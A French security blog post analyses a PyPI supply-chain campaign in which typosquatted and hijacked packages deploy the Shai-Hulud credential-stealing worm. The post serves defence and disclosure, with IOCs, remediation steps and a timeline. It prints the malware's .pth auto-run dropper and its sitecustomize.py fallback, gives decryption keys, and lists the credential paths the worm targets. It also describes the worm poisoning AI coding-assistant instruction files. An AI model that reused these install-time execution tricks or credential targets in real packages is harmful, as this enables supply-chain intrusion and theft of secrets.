Date de publication : 15 juin 2026
Temps de lecture : 10 min
L'équipe Vulnerability Research de GitLab a découvert une attaque de la chaîne d'approvisionnement Python sur PyPI, qui déploie le ver Shai-Hulud pour dérober des identifiants provenant des systèmes CI/CD.

L'équipe Vulnerability Research de GitLab a identifié une attaque coordonnée de la chaîne d'approvisionnement sur PyPI, qui déploie une copie du logiciel malveillant Shai-Hulud. Nous avons découvert cinq paquets malveillants : quatre paquets typosquattés imitant Flask, Requests et NumPy, ainsi qu'un projet légitime détourné à des fins malveillantes. Ces paquets exécutent du code au moment de l'installation, sans nécessiter d'importation ni d'appel de fonction, et contiennent un voleur d'identifiants à propagation automatique qui cible les environnements CI/CD de tous les principaux fournisseurs cloud.
Nous avons confirmé que GitLab n'utilisait aucun des paquets concernés et partageons nos conclusions afin d'aider l'ensemble de la communauté à réagir efficacement.
Le 7 juin 2026, nos systèmes de surveillance ont signalé cinq paquets PyPI malveillants provenant d'un même compte (elitexp). Quatre d'entre eux sont des paquets typosquattés :
rlask et tlask, des paquets typosquattés de Flaskrsquests, un paquet typosquatté de Requestsnhmpy, un paquet typosquatté de NumPyLe cinquième, mflux-streamlit, est un projet légitime avec de véritables utilisateurs, que l'attaquant a détourné en publiant les versions malveillantes 0.0.3 et 0.0.4 après la vague de typosquatting.
L'attaquant a d'abord publié des versions « de reconnaissance » saines, avec des numéros de version correspondant exactement aux dernières versions officielles (Flask 3.1.3, Requests 2.34.2 et NumPy 2.4.6). Une fois ces versions indexées sans incident, l'attaquant a déployé de nouvelles versions intégrant la charge utile du ver.
Il s'agit d'un déploiement de type « copycat ». TeamPCP, le groupe à l'origine de Shai-Hulud, a publié le code du ver en open source le 12 mai 2026. Depuis, nous suivons des acteurs indépendants qui s'emparent de cette boîte à outils pour la diriger vers de nouvelles cibles. Cette campagne introduit ce même ver dans l'écosystème Python.
La variante npm d'origine utilisait un script preinstall. Cette campagne adopte une approche différente : elle exploite le mécanisme des fichiers .pth de Python. Les paquets wheel peuvent inclure des fichiers .pth que Python traite automatiquement au démarrage, sans nécessiter d'importation explicite. Chaque paquet malveillant inclut un fichier du type rlask-setup.pth contenant un injecteur sur une seule ligne :
import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");
_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')
L'injecteur vérifie la présence d'un fichier marqueur (.bun_ran dans le répertoire temporaire du système) pour éviter une nouvelle exécution, puis télécharge l'environnement d'exécution JavaScript Bun depuis GitHub et l'utilise pour exécuter une charge utile JavaScript obfusquée de 5 Mo intégrée au paquet.
Les premières versions de rlask incluaient également un fichier sitecustomize.py comme chemin d'exécution de secours. Python importe automatiquement sitecustomize au démarrage, et ce fichier parcourt sys.path à la recherche de la charge utile cachée _index.js :
import subprocess, os, sys
for d in sys.path:
js = os.path.join(d, "_index.js")
if os.path.exists(js):
subprocess.run(["node", js])
break
L'attaquant a abandonné ce mécanisme de secours dans les versions ultérieures, estimant que l'approche par fichier .pth lui paraissait manifestement suffisante à elle seule.
La charge utile JavaScript est encapsulée en trois couches :
[email protected], ROT-17 pour rsquests, ROT-25 pour tlask)_0x) sur la charge utile interneNous avons déchiffré la charge utile par analyse statique, sans exécuter aucun code. Le premier blob (907 octets) est le téléchargeur de l'environnement d'exécution Bun. Le second blob (772 Ko) est le voleur d'identifiants Shai-Hulud complet, contenant 2 538 chaînes codées en dur.
Pour les chercheurs souhaitant mener leur propre analyse, voici les clés de déchiffrement AES :
| Couche | Clé | IV |
|---|---|---|
| Téléchargeur Bun | c95506221d18936328fbc7ddcd21e3dd | 48da5faeafac0ac88a410bb0 |
| Charge utile du ver | 7557c4e782a0622159476d1ea10d5236 | 55a7d25e0e61b77cc175bcc3 |
Une fois lancé, le ver s'attaque aux identifiants sur toutes les principales plateformes cloud et CI/CD :
GITHUB_TOKEN, jetons d'accès personnels, jetons à granularité fine, jetons OIDC, secrets d'organisation et de dépôt, artefacts Actions et mémoire des processus du runner169[.]254[.]169[.]254), entrées Secrets Manager, paramètres SSM, jetons de fédération STS/var/run/secrets/vault-token, /etc/vault/token, /root/.vault-token et autres), ainsi que l'accès à l'API et l'authentification Vault via KubernetesÀ l'image de la variante npm d'origine, il ne s'agit pas d'un simple voleur. Il se propage. À l'aide des identifiants dérobés, le ver :
.github/setup.js et des fichiers de workflow vers des dépôts GitHub accessibles, ce qui provoque sa réexécution dans d'autres pipelines CI.github/copilot-instructions.md pour compromettre les assistants de code d'IALes cinq paquets appartiennent au compte PyPI elitexp. Ce compte a été créé en novembre 2024 avec un paquet légitime (mflux-streamlit, une interface utilisateur Streamlit pour la génération d'images avec 11 étoiles sur GitHub). Le compte GitHub associé (github[.]com/elitexp) existe depuis plus de 13 ans et compte 43 dépôts publics, dont des travaux universitaires et des projets Laravel.
Les métadonnées de téléchargement montrent que tous les paquets ont été publiés en utilisant Bun/1.3.14 comme agent utilisateur, soit le même environnement d'exécution que le logiciel malveillant télécharge dans sa chaîne d'exécution.
L'attaquant a également détourné mflux-streamlit. Les versions 0.0.1 et 0.0.2 sont saines, mais les versions 0.0.3 et 0.0.4, publiées respectivement à 15:23 et 15:37 UTC après la campagne de typosquatting, contiennent le même injecteur .pth et la même charge utile obfusquée. Cela rend l'attaque plus dangereuse qu'un typosquatting classique : mflux-streamlit est un véritable projet doté d'utilisateurs existants, susceptibles de recevoir la mise à jour malveillante par le biais de la résolution normale des dépendances.
| Type | Indicateur | Description |
|---|---|---|
| Paquet | rlask 3.1.4-3.1.7 | Paquet typosquatté malveillant de Flask |
| Paquet | tlask 3.1.4 | Paquet typosquatté malveillant de Flask |
| Paquet | rsquests 2.34.3 | Paquet typosquatté malveillant de Requests |
| Paquet | nhmpy 2.4.7 | Paquet typosquatté malveillant de NumPy |
| Paquet | mflux-streamlit 0.0.3, 0.0.4 | Paquet légitime détourné à des fins malveillantes |
| Fichier | {package}-setup.pth | Injecteur à exécution automatique (SHA256 : 6506d317...) |
| Fichier | sitecustomize.py | Exécution automatique de secours (présent uniquement dans rlask) |
| Fichier | {package}/_index.js | Charge utile du ver obfusquée (5,2 Mo) |
| Fichier | .bun_ran | Marqueur d'exécution dans le répertoire temporaire du système |
| Réseau | hxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zip | Téléchargement de l'environnement d'exécution Bun |
| Réseau | hxxps[://]upload[.]pypi[.]org/legacy/ | Publication de paquets PyPI compromis par le ver |
| Réseau | hxxp[://]169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/ | Vol d'identifiants AWS IMDS |
| Réseau | hxxps[://]login[.]microsoftonline[.]com/ | Acquisition de jetons Azure AD |
| Réseau | hxxps[://]fulcio[.]sigstore[.]dev | Demande de certificat Sigstore |
| Acteur | elitexp (PyPI) | Propriétaire des paquets |
| Acteur | Bun/1.3.14 | Agent utilisateur de publication |
Si l'un de ces paquets a été installé dans votre environnement :
.bun_ran dans le répertoire temporaire de votre système..github/setup.js, .github/copilot-instructions.md, ou les fichiers de workflow modifiés.| Date | Événement |
|---|---|
| 12/05/2026 | Publication du ver Shai-Hulud en open source par TeamPCP |
| 07/06/2026 13:47 UTC | Publication des versions de reconnaissance ([email protected], [email protected]) |
| 07/06/2026 14:20 UTC | Première version malveillante ([email protected]), détectée en 28 secondes |
| 07/06/2026 14:24 UTC | Analyse automatisée terminée, signalée comme malveillante/critique |
| 07/06/2026 14:27-15:04 UTC | Publication de six nouvelles versions malveillantes sur l'ensemble des quatre noms de paquets |
| 07/06/2026 15:23-15:37 UTC | Détournement du paquet légitime mflux-streamlit (v0.0.3, v0.0.4) par l'attaquant |
| 07/06/2026 | Confirmation de la présence du ver Shai-Hulud complet par analyse statique lors de l'enquête |
| 07/06/2026 16:01 UTC | Signalement de tous les paquets malveillants à l'équipe de sécurité de PyPI |
| 08/06/2026 03:15:06 UTC | Ajout de l'avis à la base de données d'avis de sécurité de GitLab |
| 08/06/2026 | Retrait de toutes les versions des paquets malveillants par PyPI |
Si vous utilisez GitLab Ultimate, vous pouvez recourir à l'analyse des dépendances pour détecter automatiquement l'exposition à ces paquets dans vos projets. Nous avons publié des avis (de GMS-2026-572 à GMS-2026-576) couvrant les cinq paquets dans la base de données d'avis de sécurité de GitLab. Une fois ces avis intégrés, tout projet où l'analyse des dépendances est activée signalera ces paquets dans les résultats du pipeline et dans le rapport de vulnérabilités.
Pour les équipes qui gèrent un grand nombre de dépôts, GitLab Duo Chat associé à l'agent Security Analyst peut aider à effectuer un classement rapide. Posez par exemple des questions comme :
Nous nous attendions à cette campagne après la publication en open source du ver Shai-Hulud par TeamPCP en mai dernier. Des acteurs indépendants se sont emparés de la boîte à outils et la déploient dans de nouveaux écosystèmes. La variante Python utilise un vecteur d'infection initial différent (fichiers .pth au lieu de scripts preinstall), mais contient le même code de collecte d'identifiants et d'auto-propagation en arrière-plan.
Nos systèmes de surveillance continuent de suivre les déploiements par imitation sur npm, PyPI et d'autres registres. Nous mettrons à jour cet article à mesure que de nouvelles informations seront disponibles.
Retrouvez d'autres articles de l'équipe Vulnerability Research sur notre page Laboratoires de sécurité.
Laboratoires de sécurité

Laboratoires de sécurité

Laboratoires de sécurité

Cet article de blog vous a plu ? Vous avez des questions ou des retours à nous faire ? Donnez votre avis en créant un nouveau sujet sur le forum de la communauté GitLab.
Faites-nous part de vos commentaires